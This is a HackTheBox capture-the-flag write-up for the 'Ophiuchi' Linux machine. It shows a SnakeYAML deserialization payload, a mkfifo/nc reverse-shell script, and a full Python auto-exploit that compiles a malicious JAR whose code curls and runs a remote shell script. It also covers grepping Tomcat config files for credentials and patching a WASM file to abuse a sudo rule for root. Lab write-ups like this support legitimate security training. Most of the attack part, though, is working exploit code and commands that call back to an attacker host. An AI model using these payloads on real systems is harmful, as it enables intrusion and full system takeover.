Ophiuchi was a Medium Box from HackTheBox with Linux OS. The first shell is trough Java YAML deserialization attack that involved generating a JAR payload to inject via a serialized payload, the second shell is when you found a tomcat credentials in a config file. Then there with sudo -l you generate a WASM file to get execution of a Bash script.
The auto exploit for tomcat user is in the body of the post.
Hope you enjoy!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(Port 8080 Web)
B --> |YAML Parser| C[Deserealization Attack]
C --> |Malicious Jar File| D(Code Execution)
D --> |Python Script| E[Automated Reverse Shell]
E --> |Tomcat Config File Password| F[admin]
F --> |sudo -l| G[wasm file]
G --> |Modify 0 to 1| I[root]
I --> |Code Analysis| H[Vulnerability Explained]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.227
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 8080
We open it on the browser and see what is being shown.
When tryied to access 10.10.10.227 on the browser.
It shows us a YAML Parser Page
We run gobuster and other tools but nothing userful.
Seems interesting the YAML Parser, so let’s search for that.
We follow THIS post to achieve the RCE on this box.
We found a payload to try to send on this box
1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.20/"]
]]
]
So, we test it on the box
Ok, it reaches us. So let’s continue the exploitation
On the post, we found a referer to another post which explains better what is happening here.
We found a GitHub repository
We clone it on our box
It’s a java file
We made some small changes on the java file. To download a script from our box, and execute it
We create the shell.sh file on our folder
1
2
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 4242 >/tmp/f
Now, we compile it
1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
Now, we try our exploit
And we get a reverse shell
Great. As always, let’s automate all the things
Auto Tomcat Shell
First, we will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/python3
# https://github.com/artsploit/yaml-payload
# https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
# Author: 0x4rt3mis
# HackTheBox - Ophiuchi - Auto deserelization exploit YAML - tomcat shell
import argparse
import requests
import sys
import os
import socket, telnetlib
from threading import Thread
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Function to create the shell payload to be downloaded
def createShellPayload(lhost,lport):
print("[+] Let's create our shell payload !! [+]")
payload = "#!/bin/sh\n"
payload += "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f" %(lhost,lport)
h = open("shell.sh", "w")
h.write(payload)
h.close()
print("[+] Done, shell file created !! [+]")
# Function to create the java payload
def createJavaPayload(lhost):
# First let's create the sctructur folder to compile the jar file
print("[+] Creating the folders !! [+]")
os.system("mkdir src")
os.system("mkdir src/artsploit")
os.system("mkdir src/META-INF")
os.system("mkdir src/META-INF/services")
print("[+] Folders created ... Let's create the files inside !! [+]")
# Let's create the files to compile
ScriptEngineFactory = "artsploit.AwesomeScriptEngineFactory"
AwesomeScriptEngineFactory = """package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl %s/shell.sh -o /tmp/shell1.sh");
Runtime.getRuntime().exec("bash /tmp/shell1.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
""" %lhost
# Writting the java file
f = open("src/artsploit/AwesomeScriptEngineFactory.java", "a")
f.write(AwesomeScriptEngineFactory)
f.close()
# Writting the engine file
g = open("src/META-INF/services/javax.script.ScriptEngineFactory", "a")
g.write(ScriptEngineFactory)
g.close()
print("[+] Files created, let's compile it !!! [+]")
os.system("javac src/artsploit/AwesomeScriptEngineFactory.java >/dev/null 2>&1")
os.system("jar -cvf yaml-payload.jar -C src/ . >/dev/null 2>&1")
print("[+] Exploit Done... !!!! Let's execute it now !! [+]")
os.system("rm -r src")
# Function to send the malicious jar to the server
def exploitServer(rhost,lhost):
print("[+] Let's get the reverse shell !! [+]")
url = "http://%s:8080/" %rhost
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r.get(url, headers=headers, proxies=proxies)
os.system("sleep 3")
url1 = "http://%s:8080/Servlet" %rhost
headers1 = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"data": "!!javax.script.ScriptEngineManager [\r\n !!java.net.URLClassLoader [[\r\n !!java.net.URL [\"http://%s/yaml-payload.jar\"]\r\n ]]\r\n]" %lhost}
r.post(url1, headers=headers1, data=data, proxies=proxies, cookies=r.cookies)
r.post(url1, headers=headers1, data=data, proxies=proxies, cookies=r.cookies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
args = parser.parse_args()
rhost = args.target
lhost = args.ipaddress
lport = args.port
'''Here we call the functions'''
# Set up the web python server
webServer()
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Create the shell file
createShellPayload(lhost,lport)
# Create the java jar file
createJavaPayload(lhost)
# Function to send the data to the server
exploitServer(rhost,lhost)
if __name__ == '__main__':
main()
Let’s continue.
Tomcat –> admin
We make an enumeration on the box, and found a credential for the admin user
1
2
grep -lRi "password" .
cat ./conf/tomcat-users.xml | grep password
We ssh in
Now let’s become root
Admin –> Root
With sudo -l
we found what we can run a go script with root permision
We see what this script does
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
We try to run it
That’s because the value of f
in main.wasm
is not setted to 1. We need to change it to make it working and executing the deploy.sh script.
We download the main.wasm
to our kali box to change it
We search how to edit a file with a extension of wasm and find a tool on Github.
We found the WABT
We clone it and download a Release (I don’t want to compile it)
These are the binaries we will be using. wat2wasm
converts from WebAssembly text format to the WebAssembly binary format. wasm2wat
is the the inverse of wat2wasm, converts from the binary format back to the text format.
We convert to wat format
1
./wasm2wat main.wasm -o main.wat
We change the line 4 of main.wat
To
Now we compile again
1
./wat2wasm main.wat -o main2.wasm
We send to the box the main2.wasm
We make a deploy.sh with a reverse shell inside
We execute and receive a root shell on our 4242 port
1
sudo /usr/bin/go run /opt/wasm-functions/index.go
Source Code Analysis
After add our public key to authorized_keys of root user and kill the java process, we download the files from the source code
1
rsync -azP root@10.10.10.227:/opt/tomcat/* .
According to This post the vulnerable function is on the yaml.load
function. So we search for it
1
grep -lRi "yaml.load"
We can search for the error message on burp suite also
1
grep -lRi "security reason" .
And open the class file in jd-gui
On line 12 it get from the data param, and put it on the string f
On line 14 it triggers the vulnerability